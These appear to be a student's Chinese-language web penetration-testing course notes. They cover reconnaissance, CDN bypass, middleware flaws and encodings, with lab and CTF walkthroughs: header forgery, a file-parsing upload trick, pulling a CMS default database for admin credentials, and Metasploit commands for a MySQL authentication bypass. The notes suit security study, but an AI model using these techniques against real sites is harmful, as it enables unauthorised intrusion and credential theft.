赞
踩
1)什么是域名?
域名,是由一串用点分割的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时计算机的电子方位;
例如:www.bilibili.com!
2)域名在哪里注册?
在第三方平台上注册,国内的一些域名注册商,比如阿里云旗下的万网。
3)什么是二级域名多级域名?
二级域名:顶级域名之下的域名。
例如:www.baidu.com为主域,则图中news.baidu.com为二级域名。
多级域名:概念等同于二级域名,类似于二级域名的延伸。
例如:guoji.news.baidu.com
4)域名发现对于安全测试的意义
某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。
例如:www.xxxxx.com主域不存在漏洞,并且防御措施严密。
而二级域名edu.xxxxx.com存在漏洞,并且防护措施松散。
像这样一个主域,可能不存在漏洞,难以攻击,所以,我们可以尝试攻击它的二级域名。
里面就可能存在漏洞,加以利用可以突破到主站的权限。
简单来说,多级域名收集的意义,就是一个网站找不到漏洞时,可以找跟它服务器相同的另一个多级域名上的漏洞,做旁路攻击。
这就是旁站入侵。
1)什么是DNS?
域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。
主要用于域名与IP地址的相互转换。
2)本地HOSTS与DNS的关系
本地HOSTS重定向解析IP地址,如果网络在解析IP地址的时候,ping这个网站的时候,先到hosts文件去看看,有没有对域名对应的IP地址,没有的话再去DNS服务器上去解析。如果去绑定IP地址,可以用这个方法,或者修改hosts文件,就能让对方指到此IP地址上去,类似于钓鱼攻击。
打开了自己的hosts文件看了看,自己没有域名,也不好做实验。
hosts文件所在的位置:C:\Windows\System32\drivers\etc\hosts
3)CDN是什么?与DNS的关系?
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。
就是缓存节点技术
CDN作用: 访问的时候找一个网络最好,通讯最快的节点,访问网络时是访问一个节点,用来解决访问速度。
CDN缺点: 由于有节点,访问网络时,请求的是一个节点,真实数据和网络相关核心不在节点上,节点相当于缓存。
两者之间关系: 更改DNS服务器,就相当于有可能访问到另一个节点。
3)常见的DNS攻击有哪些?
域名劫持
通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民访问该域名时,进入了黑客所指向的内容。
缓存投毒
利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到黑客指向的其他网站上。
DDOS攻击
一种攻击针对DNS服务器软件本身,通常利用BIND软件程序中的漏洞,导致DNS服务器崩溃或拒绝服务;另一种攻击的目标不是DNS服务器,而是利用DNS服务器作为中间的“攻击放大器”,去攻击其它互联网上的主机,导致被攻击主机拒绝服务。
DNS欺骗
DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。
1)常见的脚本有哪些?
这里的脚本语言是Web应用程序的脚本。
例如:PHP、JavaScript、Python、ASP、ASPX、Javaweb等。
python的脚本框架–Django
2)不同脚本类型与安全漏洞的关系
不同脚本类型,对程序源码安全性有很大关系,语言严谨,注重比较多,这个代码写出来的程序,安全漏洞比较少,程序源码的选用、写法,用哪个语言去写,将决定这套程序源码漏洞产生的概率。用安全语言去写,相对来说,产生漏洞的机率比较低。
3)漏洞挖掘代码审计与脚本类型的关系。
为了挖掘漏洞和代码审计,需要去了解脚本语言的开发的知识点,起码要能看懂代码。越往后,难度会越来越大。
1)什么是后门?有哪些后门?
后门:可以理解为攻击者,在得到相关的非法入侵后,留下后门文件,便于下次进行操作,拿到权限。
后门文件:网站后门(webshell),服务器后门等其他类型的后门。
2)后门在安全测试中的实际意义?
方便攻击者下一次进入。
获取到相关权限后,后门类似于管道,为我们提供通道,去操作服务器或网站。
3)关于后门需要了解哪些?(玩法,免杀)
玩法(要能够隐藏自己),免杀(网站有杀毒软件,大部分有杀后门功能,会检测并删除,免杀就是不被检测到)
1)web的组成架构模型?
网站源码:分脚本类型、分应用方向
操作系统:windows、linux
中间件(搭建平台):apache、iis、tomcat、nginx等
数据库:access、mysql、mssql、oracle、sybase、db2、postsql等
2)架构漏洞安全测试简要介绍?
今后的漏洞攻击和方法全部体现在这4个方面。
3)为什么要从web层面为主为首?
WEB使用面广,很多地方都有网站服务,源码漏洞较多。
比起其他方面,方便利用。
1)WEB源码类对应漏洞?
2)WEB中间件对应漏洞:
3)WEB数据库对应漏洞:
内核漏洞
4)WEB系统层对应漏洞:
5)其他第三方对应漏洞
电脑安装的第三方软件
6)APP或PC应用结合类:
多级域名的枚举查找(原理、方式)
我用的子域名查询-站长工具
查找到了一些域名。
我以优酷为例子:
然后查找到了一些多级域名
图片里面英文字母的含义:
#Request 请求数据包
#Response 返回数据包
如果中间出现一个代理,则如下图:
#Request 请求数据包
#Proxy 代理服务器
#Response 返回数据包
1) HTTP和HTTPS的区别
HTTPS的通信过程
如下图:
建立链接 —> 发送请求数据包 —> 返回响应数据包 —> 关闭连接
一个HTTP请求报文由四个部分组成:请求行、请求头、空行和请求数据。
1)请求行:请求类型/请求资源路径、协议的版本和类型
请求行由三个标记组成:请求方法、请求URL和HTTP版本,它们用空格分隔。
例如: GET /index.html HTTP/1.1
HTTP 规划定义了8种可能的请求方法:
GET:检索URL中标识资源的一个简单请求
HEAD:与GET方法相同,服务器只返回状态行和头标,并不返回请求文档
POST:服务器接收被写入客户端输出流中数据的请求
PUT:服务器保存请求数据作为指定URL新内容的请求
DELETE:服务器删除URL中命令的资源的请求
OPTIONS:关于服务器支持的请求方法信息的请求
TRACE:web服务器反馈HTTP请求和其头标的请求
CONNECT:已文档化,但当前未实现的一个方法,预留做隧道处理
2)请求头:由关键字/值对组成,每行一对,关键字和值用冒号分享
HOST:主机或域名地址
Accept:指浏览器或其他客户可以接受的MIME文件格式,servlet可以根据它判断并返回适当的文件格式
User-Agent:是客户浏览器名称
Host:对应网址URL中的web名称和端口号
Accept-Language:指出浏览器可以接受的语言种类,如en或者en-us,指英语
connection:用来告诉服务器是否可以维持固定的HTTP连接、http是无连接的,HTTP/1.1使用Keep-Alive为默认值,这样当浏览器需要多个文件时(比如一个HTML文件和相关的图形文件),不需要每次都建立连接
Cookie:浏览器用这个属性向服务器发送Cookie。Cookie是在浏览器中寄存的小型数据体,他可以记载服务器相关的用户信息,也可以用来实现会话功能
Referer:表明产生请求的网页URL,这个属性可以用来跟踪web请求是从什么网站来的。如比从网页/icconcept/index.jsp中点击一个链接到网页/icwork/search,再向服务器发送的GET/icwork/search中的请求中,Referer是http://hostname:8080/icconcept/index.jsp
Content-Type:用来表明request的内容类型,可以用HttpServeletRequest的getContentType()方法取得。
Accept-Charset:指出浏览器可以接受的字符编码
Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件传递速度。浏览器在接收到web响应之后再解码,然后再检查文件格式
3)空行:请求头与请求体之间用一个空行隔开
最后一个请求头标之后是空行,发送回车符和退行,通知服务器以下不再有头标。
4)请求数据
使用POST传送,最常使用的是Content-Type和Content-Length头标
一个响应由四个部分组成:状态行、响应头标、空行、响应数据;
1)状态行:协议版本,数字形式的状态代码和状态描述,各元素之间用空格进行分割
HTTP响应码
1XX:信息,请求收到,继续处理
2XX:成功,行为被成功的接收、理解和采纳
3XX:重定向,为了完成请求,必须进一步执行的动作
4XX:客户端错误
5XX:服务器错误
200:存在文件
403:存在文件夹
3XX:均可能存在 ,可能在其他路径
404:不存在文件及文件夹
500:均可能存在,只是服务器响应失败,不代表不存在
3)响应头标:包含服务器类型、日期、长度、内容类型等
像请求头标一样,它们指出服务器的功能,标识出响应数据的细节。
4)空行:响应头与响应体之间用空行隔开
最后一个响应头标之后是一个空行,发送回车符和退行,表面服务器以下不再有头标。
5)响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面
HTML文档和图像等,也就是HTML本身。
1.Burpsuite抓包修改测试
先配置了一下我火狐的代理。
然后刷新一下小迪渗透吧的页面,成功抓包。
注:此插件是火狐中的hackbar
然后抓包,和小迪老师做的一模一样。
图中出现了www
提交数据包后
访问的是404。
修改成功!!!
2.敏感文件扫描工具简要实现
用御剑工具扫了扫B站,扫描网站目录。
3.第三方检测修改实现XSS攻击
用站长之家查看了一下自己的IP/域名,并抓了这个网站的数据包。
修改客户浏览器名称,然后可以看到:
这个漏洞已被修复
得出结论:数据包是我们和网站打交道的东西,通过修改达到伪造。
4.CTF或实际应用中部分考题解析(mozhe)
题目一:来源页伪造
打开靶场后:
先抓个包看看
重点就是Referer,来源网站。网站只允许从google.com访问,就是从这个判断。
修改网页,改成google.com
然后得到Key
解题成功。
题目二:浏览器信息伪造
打开靶场后:
问题的关键就在于iPhone手机和2G网络下。
抓包看一下
根据题目提示
修改数据包的客户浏览器名称(用以下微信特有NetType字段数据)
最后成功得到KEY
解题成功。
题目三:HTTP动作练习
打开题目看一下
抓包看一下
发现这个数据包有点长,再看一下题目的解题思路。
BurpSuite右键点击 Change request method,将GET修改成POST,自动将content放到最后,并且空出一行。
得到KEY
解题成功!
题目四:投票系统程序设计缺陷分析
打开题目看一下
X-Forwarded-For是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
抓包,然后增加X-Forwarded-For改变IP地址,获得多个原始IP地址
发送到intruder,设置变量
设置数值
然后就可以开始攻击了
最后得到KEY
解题成功!
ASP,PHP,ASPX,JSP,PY,JAVAWEB等环境
IP地址可以访问发现更多内容,而域名访问只能发现一个文件夹下的所有文件。IP地址访问可以发现程序源码备份文件和敏感信息。访问网站的时候,可以访问域名,也可以访问IP地址。访问域名一般会指向某个目录,而访问IP地址一般会指向根目录;
指定后缀名对应某个文件,访问网站出现遇到不能解析的文件就是中间件可能默认或者添加某些设置导致解析时出现问题。
学校内网和企业内外会出现。会限制外部人员访问内部的网站,限制IP地址,规范访问者的权限。
身份验证和访问控制,基于用户的限制。
授权访问—只允许指定IP地址访问,拒绝访问—拒绝指定IP地址访问;
1.基于中间件的简要识别
按一下F12,抓取数据包的返回结果,查询搭建平台信息。
2.基于中间件的安全漏洞
(一) IIS
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
(二) Apache
1、解析漏洞
2、目录遍历
(三) Nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
(四)Tomcat
1、远程代码执行
2、war后门文件部署
(五)jBoss
1、反序列化漏洞
2、war后门文件部署
(六)WebLogic
1、反序列化漏洞
2、SSRF
3、任意文件上传
4、war后门文件部署
(七)其它中间件相关漏洞
1、FastCGI未授权访问、任意命令执行
2、PHPCGI远程代码执行
参考:Web中间件常见漏洞总结
3.基于中间件的靶场使用
首先,自己下载了虚拟机,安装好了Vulhub环境;
启动靶场环境;
然后根据官网指示打开网站
新建一个txt文件,里面输入php
改成jpg图片,并且上传;
在网址后面输入/uploadfiles/x.php.jpg,得到如下显示
可以解析多个文件后缀,利用此漏洞可以上传木马文件。靶场的测试到此结束;
前言:Web源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中Web源码有很多技术需要简明分析。比如:获取某ASP源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路。
数据库配置文件、后台目录、模板目录、数据库目录等
自己下载了一份源码,用来观察。
我在我下载的这个源码中并没有找到数据库配置文件,不过听了讲课,数据库配置文件,网站和数据库的通讯信息,连接账号密码,可以去连接对方数据库,从数据库去得到这个网站的源码里面涉及到的管理员的账号密码。
ASP,PHP,ASPX,JSP,JAVAWEB等脚本类型源码安全问题。
可以看WEB安全学习笔记里面的语言与框架模块来学习。
之前图片里面的分类:
社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞。
开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等。
拿到对方的源码或者判断这个网站的应用类型之后应该侧重在哪些漏洞上做文章。
如果对方网站采用的是框架开发的话那么你面对的就是寻找框架的漏洞,如果是非框架的话寻找的漏洞针对的是代码写出来的漏洞
CMS识别:判定一个网站是用什么程序搭建的
开源:去网上找寻漏洞文章。内部:常规的渗透测试,用扫描工具去判断。
关于源码的获取途径:搜索,闲鱼淘宝,第三方源码站,各种行业对应。
(2)本地工具 whatweb
御剑web指纹识别程序 百度网盘
大禹CMS识别程序
1)ASP、PHP等源码下安全测试
1.平台识别—某CMS无漏洞—默认数据库
2.平台识别—某CMS有漏洞—漏洞利用
打开靶场,打开asp注入
点开搬家公司ASP注入
随便打开一个任意界面,看到页面后缀为asp,根据页面后缀判断。
翻到网站底部,发现了XYCMS
去网上搜索XYCMS源码,自己下载一份
打开文件夹,找到xydata(关键数据库路径文件),找到asp特有文件xycms.mdb
mdb文件就是数据库的备份文件
该文件里面存有管理员的账号密码
密码MD5解密就是admin
访问到后台
然后输入用户名和密码,登陆成功。
前言:除去搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方软件平台等,其中此类攻击也能直接影响到Web或服务器的安全,导致网站或服务器权限的获取。
1. 识别系统常见方法
因为Windows系统下网站对大小写不区分,所有可以由此来区分系统
上边的网址其实就是目录,windows系统不区分大小写的,所以把原有目录改大小写不受影响。
而linux是严格区分大小写的,把人家目录改成大写人家系统以为是另一个文件找不到当然报错了。
改成大写后,就打不开了,这个网站对应的操作系统就是Linux系统。
也可以通过TTL值来判断操作系统,但是有的时候判断不准确。
还可以用nmap去判断操作系统。
2. 简要两种区别和识别意义
网站路径不同,磁盘储存不一样,大小写区别,文件在不同的操作系统的适用性,并且操作系统不兼容。
知道了是哪种操作系统,往那种操作系统方向去发展,寻找漏洞。
3. 操作系统层面漏洞类型对应意义
漏洞类型有很多,漏洞类型的不同,再利用漏洞的时候需要的条件也会不同。
4. 简要操作系统层面漏洞影响范围
要去能获取权限,或者对操作系统能有一些干扰,使其崩溃。
1.识别数据库类型常见方法
数据库分类:
通过网站查询常见的数据库,脚本连接数据库:
常见数据库默认端口
filtered表示过滤,下图为nmap端口扫描
2.数据库类型区别及识别意义
数据库的不同,结构也会不同,每个数据库的安全机制、写法机制,功能都会不一样,产生的漏洞也会不一样。
不同数据库的攻击方法都会有不一样。
3.数据库常见漏洞类型及攻击
弱口令:通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
4.简述数据库层面漏洞影响范围
通过数据库漏洞,获取权限,对数据库进行一些修改,甚至可以获得网站的权限,对网站进行进行一系列的操作。
1.如何判断有哪些第三方平台和软件
常见的第三方有Jboss,PHPmyadmin,vsftpd,teamview等。
大部分是通过端口扫描或者对网站路径进行扫描。
2.简要为什么要识别第三方平台或软件
我们可以对第三方平台或者软件进行识别,来寻找漏洞。
补充:除去常规WEB安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件、游戏、负载均衡等)也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确安全测试思路是很重要的!
1.某数据库弱口令及漏洞演示
Mysql 身份认证绕过漏洞(CVE-2012-2122)
先开始环境的搭建
使用kali的nmap扫描试验机
使用kali自带的msfconsole模块进行攻击
命令:msfconsole
接着扫漏洞
命令: search mysql
利用模块然后查看设置选项
利用命令:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
查看选项命令:show options
设置目标地址
命令:set rhost 192.168.74.141
设置线程为100
命令:set threads 100
运行
命令:exploit
攻击成功,就是效果不是很直接。
前言:在渗透测试中,常见的密码等敏感信息会采用加密处理,其中作为安全测试人员必须要了解常见的加密方式,才能为后续的安全测试做好准备。
自己写可以下载工具使用,我下载了小迪老师推荐的工具–超级加解密转换工具;
1.MD5
一般是由数字0~9,字母A ~ Z随机分配,16位和32位;
基本上在安全测试中,很多网站的管理员、用户密码都会采用MD5加密;
MD5不可逆,不能逆向破解解密,不能从密文得到明文;
网上有一个网站可以解密MD5:CMD5
CMD5采取枚举的方法,像字典,照着密文找明文,MD5碰撞;
2.SHA
由数字0~9,字母A ~ Z随机分配,有SHA1、SHA256、SHA384、SHA512,长度都是固定的;
3.ASCII、十六进制
碰上的机会不大,都是很基础的东西,也使我自己在学习的初期就已经了解过的知识;
十六进制文本
4.时间戳
网站、服务器或脚本语言经常使用的东西,计算机时间与我们看时间不同;
是一份能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据。
类似于这样:
有些计算机必须传送时间戳才能知道是时间,经常会在数据库中,会有所记录;
时间戳在线网站链接:时间戳
5.URL
url编码解码,又叫百分号编码,是统一资源定位 (URL)编码方式。. URL地址(常说网址)规定了常用地数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等),剩下的其它所有字符必须通过%xx编码处理。.
在下面的网站中写上空格和1=1,得到如下反馈;
由于空格是特殊符号,所以需要进行转义,如果把数字1转义,会实行两次转义,浏览器会自动识别;
但是浏览器只会解密一次,做关键词绕过的时候需要去解密;
6.BASE64
区分英文大小写,长度随着明文的长度增加而增加,在字符串后面经常会出现等于号 “ = ”;
对译码,参数和代码会进行一些编码;
7.unescape
和URL编码有一些类似,也有%,是% + 4位数字;
8.AES
AES比其他加密方式要更高级,会涉及到其他一些东西,加密的时候会涉及到密码、偏移量、填充和数据块等方面,一起来加密;相当于加了一些干扰进去。
在线网址链接: AES
可以从中间和结尾加密,加密强度更强,解密难度也更大,输出也进行了编码;
用base64解码出来是乱码,有很大可能是AES加密。
必须有密码和偏移量,否则不可能解密。
有时候会出现 “ / ”;
9.DES
密文里面会出现 “ + ” ,与base64比较相似;
常见加密形式算法解析
直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等;
常见加密方式
枚举,自定义逆向算法,可逆向;
了解常规加密算法的特性
长度位数,字符规律,代码分析,搜索获取等;
1.某CTF比赛题目解析
脚本自定义算法组合逆向;
2.某CMS密码加密解密
MD5+salt
部分CMS密码加密形式-wp、dz等;
用单纯的MD5无法解开的;
需要用MD5 + salt才能解开;
使用md5:salt可以解密成功!!!
3.某URL加密地址的漏洞测试
AES+Base64+自定义
观察参数值加密字符串,下载源代码分析,函数定义AES加密,设计模式CBC,128位,加密密码,偏移量,两次
base64减去常规一次,填充模式(_mozhe)
用WebPathBrute工具(御剑可代替)扫一扫
扫到地址,直接打开;
找到php代码
上面给我们提供了加密模式、数据块、密码和偏移量,而且还写出来两次base64加密;
进行第一次base64解密
然后进行AES解密,得到密文1_mozhe
然后再进行代码审计,将_mozhe除去,得到1;
我们在进行SQL注入的时候,要将1 and 1=1 或者其他的payload转化成相同的格式进行加密,然后才可以注入;
第一次加密
第二次加密
因为暂时没有学习SQL注入,题目就做到加解密结束了;
前言:CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若存在CDN服务,将会影响到后续的安全测试过程
利用多节点技术进行请求返回判断
在线查询网站: 超级ping
当ping出来的返回IP地址都是一样的时候,就证明没有CDN
像这样的就没有CD
当ping出来的响应IP地址不一样的时候就证明有CDN
1. 子域名查询
从经济来讲,主站关注点更高,为了节约成本,主站做CDN服务,子域名分站可能没有做CDN服务。所以如果子域名没有做CDN服务,它的真实IP可以推出主站IP。一般来说,主站跟分站在一个段内;
子域名的查询:在线子域名二级域名查询
子域名小技巧
一般情况下,www.XXX.com和XXX.com指向的是同一个DNS服务器,进入XXX.com会自动跳转到www.XXX.com,所以XXX.com不需要大流量,不用做CDN。如果加www检测不出来,可以试着去掉,或许就可以得到真实IP了。
这样子设置就是两个意义。
m.xxx.com是手机站点和上面子域名小技巧是一个意思。
2. 邮件服务查询
很多公司内部都会有一个邮件服务器,正规的好的公司都会有自己的邮箱地址,内部会有邮箱服务器,一般没必要去做CDN。这里会有正向反向的差别,邮件服务器是对方发邮件给你,它来找你,这样它的真实IP地址就会泄露,根据对方邮件服务器给我们发送的邮件,来判定对方邮件服务器的地址。
3. 国外地址请求
有些网站为了节约成本,它会只考虑它的客户群体的地区来做一个CDN节点的部署,而不会布置到国外去,如果通过国外地址去请求国内的目标,很容易找到真实IP地址,因为它的节点没有布置到国外。
这里用到一款全球ping扫工具,热度越低的国家,效果越好。
全球ping: IPIPtools
4. 遗留文件,扫描全网
一些站点在搭建之初,会用一些文件测试站点,例如“phpinfo()”文件,此类文件里就有可能包含了真实的IP地址。可以利用Google搜索引擎搜索关键字“site:xxx.com inurl:phpinfo.php”,搜索站点是否有遗留文件。
扫描全网:
在上面的方法不行的时候采取的一个究极办法,借助一些工具、软件或者平台,把全世界的网络对你的网站进行访问,判断一下响应IP,通过IP地址的收集整理,把节点访问的IP地址全部收集下来,去分析哪一个可能是真实IP地址。
因为不可能每个地区都有CDN节点,真实IP一定在收集的里面,至少服务器所在地区应该没有CDN服务,把所有可能性收集在一起,直到找到真实IP地址。
5. 黑暗引擎搜索特定文件
黑暗搜索引擎就是另类的百度、谷歌,有shodan,zoomeye、fofa。
会有搜索特定关键词,更加的实时,可以搜索指定文件;
这里的特定文件,指的是站点的icon文件,也就是网站的图标,一般查看网页源代码可以找到,格式大致“http://www.xx.com/favicon.ico”。在shodan搜索网站icon图标的语法为:http.favicon.hash:hash值,hash是一个未知的随机数,我们可以通过shodan语法来查看一个已经被shodan收录的网站的hash值,来进一步获取到所有带有某icon的网站。
6. DNS历史记录,以量打量
通过查询网站相关的DNS记录,以前这个网站没使用CDN服务,会遗留一些服务,找到没有设置CDN时的历史记录,找到IP地址,有可能就是真实IP地址。
“以量打量”就是常说的ddos攻击或者说是流量耗尽攻击,在网上开CDN的时候,都会分地区流量,就比如这个节点有100M流量,当这流量用完后,用户再访问就会访问网站真实的ip地址。
这样攻击属于违法的,并不推荐。
1. 利用子域名请求IP真实地址
我们在这边ping一下学而思的域名;
发现找不到它的真实IP地址;
但是我们去ping下面xueersi.com这个域名时
可以看出来,真实IP地址不是124.250.113.71 就是124.250.113.72。
注:学而思IP已改
2. 利用第三方接口查询获取真实IP
第三方接口网站:
Get Site Ip
微步在线
用上面的网站来查询学而思的真实IP地址
真实IP地址为124.250.113.72
3. 利用邮件服务器接口获取真实IP
mozhe 邮件源码测试对比第三方查询(地区分析)
收到一份墨者的邮件,点开圈红的地方
然后可以看到“显示邮件全文”几个字
得到了疑似真实IP地址
然后查询这个IP地址所在的位置,在重庆
墨者的公司也在重庆,基本上可以确定是真实IP地址(社工)
前言:在安全测试中,信息收集是非常重要的一个环节,此环节的信息将影响到后续的成功几率,掌握信息的多少将决定发现漏洞机会大小,换言之决定着是否能完成目标的测试任务。也可以很直接的跟大家说:渗透测试的思路就是从信息收集这里开始,你与大牛的差距也是从这里开始的。
1)搭建习惯——目录型站点
原则上是一个网站,但是区别在于目录下的差异;
例如:
D:\Microsoft\AndroidNDK64\android-ndk-r16b\build\core\toolchains\aarch64-linux-android-4.9和
D:\Microsoft\AndroidNDK64\android-ndk-r16b\build\core\toolchains\mips64el-linux-android-clang,这两者只是目录路径不同;
但是两个网站使用的是两套程序,一个网站出现问题,另一个网站也会遭殃,就相当于有了两套漏洞两个方案。
我们可以通过目录扫描来获取相关信息。
2)搭建习惯——端口类站点
通过不同的端口将两个网站分开,一个网站出了问题,另一个网站也会出现问题;
例如:小迪的靶场
3)搭建习惯——子域名站点
通过子域名将两个网站分开,可能在一起,也可能不在一起,就是两个网站可能不在同一个服务器上;
goodlift-www.bbs-子域名两套CMS
主站使用的
分站使用的
ping出来的IP是一样的,在同一个服务器上
也有可能不在一起,但是可能在同一网段,也有可能不同网段;
4)搭建习惯——类似域名站点
通过后缀寻找类似站点,通过中间的域名去找类似域名;
寻找出自于同一公司的网站;
jmlsd -cn.com.net等各种常用域名后缀名;
没修改后缀名;
修改后缀名后的网站
5)搭建习惯——旁注,C段站点
同服务器不同站点,前提条件是:有多个站点服务器;旁注是一种入侵方法,在字面上解释就是-“从旁注入”,利用同一主机上面不同网站的漏洞得到webshell,从而利用主机上的程序或者是服务所暴露的用户所在的物理路径进行入侵。
192.168.1.100
www.a.com
www.b.com
……
同网段不同服务器不同站点;网站有一个或多个站点,通过服务器IP地址的网段来进行测试。
192.168.1.100
www.a.com
www.b.com
…
192.168.1.101
www.c.com
www.d.com
通过查询网段1-254,去获取101网段服务器权限,在通过服务器同一个网段目标主机来实施内网安全的测试方法,来获取指定网服务器的权限。
6)搭建习惯——搭建软件特征站点
搭建软件:宝塔、lnmap等软件。
用中间件搭建,在网站源代码中显示的服务器信息比较少,用搭建平台,显示的服务器信息比较多。
1)什么是WAF应用
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
分为软件和硬件,在安全公司单位购买的防火墙都是硬件,个人网站和小企业搭建都是软件。
2)如何快速识别WAF
使用wafw00f可以快速识别,Linux上的kali自带,直接就可以使用
命令: wafw00f 域名/IP
还有其他几种方法,像sqlmap,namp都可以去查找WAF;
以下是wafw00f可以识别的WAF
ACE XML Gateway Cisco aeSecure aeSecure AireeCDN Airee Airlock Phion/Ergon Alert Logic Alert Logic AliYunDun Alibaba Cloud Computing Anquanbao Anquanbao AnYu AnYu Technologies Approach Approach AppWall Radware Armor Defense Armor ArvanCloud ArvanCloud ASP.NET Generic Microsoft ASPA Firewall ASPA Engineering Co. Astra Czar Securities AWS Elastic Load Balancer Amazon AzionCDN AzionCDN Azure Front Door Microsoft Barikode Ethic Ninja Barracuda Barracuda Networks Bekchy Faydata Technologies Inc. Beluga CDN Beluga BIG-IP Local Traffic Manager F5 Networks BinarySec BinarySec BitNinja BitNinja BlockDoS BlockDoS Bluedon Bluedon IST BulletProof Security Pro AITpro Security CacheWall Varnish CacheFly CDN CacheFly Comodo cWatch Comodo CyberSecurity CdnNS Application Gateway CdnNs/WdidcNet ChinaCache Load Balancer ChinaCache Chuang Yu Shield Yunaq Cloudbric Penta Security Cloudflare Cloudflare Inc. Cloudfloor Cloudfloor DNS Cloudfront Amazon CrawlProtect Jean-Denis Brun DataPower IBM DenyALL Rohde & Schwarz CyberSecurity Distil Distil Networks DOSarrest DOSarrest Internet Security DotDefender Applicure Technologies DynamicWeb Injection Check DynamicWeb Edgecast Verizon Digital Media Eisoo Cloud Firewall Eisoo Expression Engine EllisLab BIG-IP AppSec Manager F5 Networks BIG-IP AP Manager F5 Networks Fastly Fastly CDN FirePass F5 Networks FortiWeb Fortinet GoDaddy Website Protection GoDaddy Greywizard Grey Wizard Huawei Cloud Firewall Huawei HyperGuard Art of Defense Imunify360 CloudLinux Incapsula Imperva Inc. IndusGuard Indusface Instart DX Instart Logic ISA Server Microsoft Janusec Application Gateway Janusec Jiasule Jiasule Kona SiteDefender Akamai KS-WAF KnownSec KeyCDN KeyCDN LimeLight CDN LimeLight LiteSpeed LiteSpeed Technologies Open-Resty Lua Nginx FLOSS Oracle Cloud Oracle Malcare Inactiv MaxCDN MaxCDN Mission Control Shield Mission Control ModSecurity SpiderLabs NAXSI NBS Systems Nemesida PentestIt NevisProxy AdNovum NetContinuum Barracuda Networks NetScaler AppFirewall Citrix Systems Newdefend NewDefend NexusGuard Firewall NexusGuard NinjaFirewall NinTechNet NullDDoS Protection NullDDoS NSFocus NSFocus Global Inc. OnMessage Shield BlackBaud Palo Alto Next Gen Firewall Palo Alto Networks PerimeterX PerimeterX PentaWAF Global Network Services pkSecurity IDS pkSec PT Application Firewall Positive Technologies PowerCDN PowerCDN Profense ArmorLogic Puhui Puhui Qiniu Qiniu CDN Reblaze Reblaze RSFirewall RSJoomla! RequestValidationMode Microsoft Sabre Firewall Sabre Safe3 Web Firewall Safe3 Safedog SafeDog Safeline Chaitin Tech. SecKing SecKing eEye SecureIIS BeyondTrust SecuPress WP Security SecuPress SecureSphere Imperva Inc. Secure Entry United Security Providers SEnginx Neusoft ServerDefender VP Port80 Software Shield Security One Dollar Plugin Shadow Daemon Zecure SiteGround SiteGround SiteGuard Sakura Inc. Sitelock TrueShield SonicWall Dell UTM Web Protection Sophos Squarespace Squarespace SquidProxy IDS SquidProxy StackPath StackPath Sucuri CloudProxy Sucuri Inc. Tencent Cloud Firewall Tencent Technologies Teros Citrix Systems Trafficshield F5 Networks TransIP Web Firewall TransIP URLMaster SecurityCheck iFinity/DotNetNuke URLScan Microsoft UEWaf UCloud Varnish OWASP Viettel Cloudrity VirusDie VirusDie LLC Wallarm Wallarm Inc. WatchGuard WatchGuard Technologies WebARX WebARX Security Solutions WebKnight AQTRONIX WebLand WebLand RayWAF WebRay Solutions WebSEAL IBM WebTotem WebTotem West263 CDN West263CDN Wordfence Defiant WP Cerber Security Cerber Tech WTS-WAF WTS 360WangZhanBao 360 Technologies XLabs Security WAF XLabs Xuanwudun Xuanwudun Yundun Yundun Yunsuo Yunsuo Yunjiasu Baidu Cloud Computing YXLink YxLink Technologies Zenedge Zenedge ZScaler Accenture
前言:在安全测试中,若WEB无法取得进展或无WEB的情况下,我们需要借助APP或其他资产在进行信息收集,从而开展后续渗透,那么其中的信息收集尤为重要,这里我们用案例讲解试试如何!
这里的APP用逍遥模拟器代替一下,然后再用工具,漏了个大洞里面的apk数据提取这个工具;
点开result,然后找到反编译的那个APP,里面的文件都是需要一些java代码基础的才能看懂,这里就不去过多的解释;
这些是从apk中提取出来的url地址,可以通过这几种网站进行安全测试;
打开burp,修改一下逍遥模拟器的代理,然后就可以进行抓包;
然后就可以抓到包了
根据url文件和抓包可以获得更多地址,有助于安全测试;
1)某IP无WEB框架下的第三方测试
各种端口一顿乱扫—思路
